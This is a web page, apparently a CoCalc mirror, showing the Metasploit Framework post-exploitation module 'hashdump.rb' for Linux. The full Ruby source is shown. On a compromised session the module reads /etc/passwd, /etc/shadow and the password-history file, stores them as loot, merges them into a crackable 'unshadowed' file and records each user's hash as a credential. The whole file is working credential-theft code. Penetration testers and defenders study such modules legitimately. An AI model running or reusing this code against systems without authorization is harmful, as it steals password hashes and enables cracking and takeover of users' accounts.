CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/hashdump.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::Priv
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Linux Gather Dump Password Hashes for Linux Systems',
15
'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System},
16
'License' => MSF_LICENSE,
17
'Author' => ['Carlos Perez <carlos_perez[at]darkoperator.com>'],
18
'Platform' => ['linux'],
19
'SessionTypes' => ['shell', 'meterpreter']
20
)
21
)
22
end
23
24
# Run Method for when run command is issued
25
def run
26
unless readable?('/etc/shadow')
27
fail_with Failure::NoAccess, 'Shadow file must be readable in order to dump hashes'
28
end
29
30
passwd_file = read_file('/etc/passwd')
31
unless passwd_file.nil?
32
p = store_loot('linux.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Linux Passwd File')
33
vprint_good("passwd saved in: #{p}")
34
end
35
36
shadow_file = read_file('/etc/shadow')
37
unless shadow_file.nil?
38
p = store_loot('linux.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Linux Password Shadow File')
39
vprint_good("Shadow saved in: #{p}")
40
end
41
42
opasswd_file = read_file('/etc/security/opasswd')
43
unless opasswd_file.nil?
44
p = store_loot('linux.passwd.history', 'text/plain', session, opasswd_file, 'opasswd.tx', 'Linux Passwd History File')
45
vprint_good("opasswd saved in: #{p}")
46
end
47
48
# Unshadow the files
49
john_file = unshadow(passwd_file.to_s, shadow_file.to_s)
50
return if john_file == ''
51
52
john_file.each_line do |l|
53
hash_parts = l.split(':')
54
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
55
56
if jtr_format.empty? # overide the default
57
jtr_format = 'des,bsdi,crypt'
58
end
59
60
credential_data = {
61
jtr_format: jtr_format,
62
origin_type: :session,
63
post_reference_name: refname,
64
private_type: :nonreplayable_hash,
65
private_data: hash_parts[1],
66
session_id: session_db_id,
67
username: hash_parts[0],
68
workspace_id: myworkspace_id
69
}
70
create_credential(credential_data)
71
print_good(l.chomp)
72
end
73
74
# Save passwd file
75
upasswd = store_loot('linux.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Linux Unshadowed Password File')
76
print_good("Unshadowed Password File: #{upasswd}")
77
end
78
79
def unshadow(pf, sf)
80
unshadowed = ''
81
sf.each_line do |sl|
82
pass = sl.scan(/^\w*:([^:]*)/).join
83
84
next if pass == '*'
85
next if pass == '!'
86
87
user = sl.scan(/(^\w*):/).join
88
pf.each_line do |pl|
89
next unless pl.match(/^#{user}:/)
90
91
unshadowed << pl.gsub(/:x:/, ":#{pass}:")
92
end
93
end
94
95
unshadowed
96
end
97
end
98
99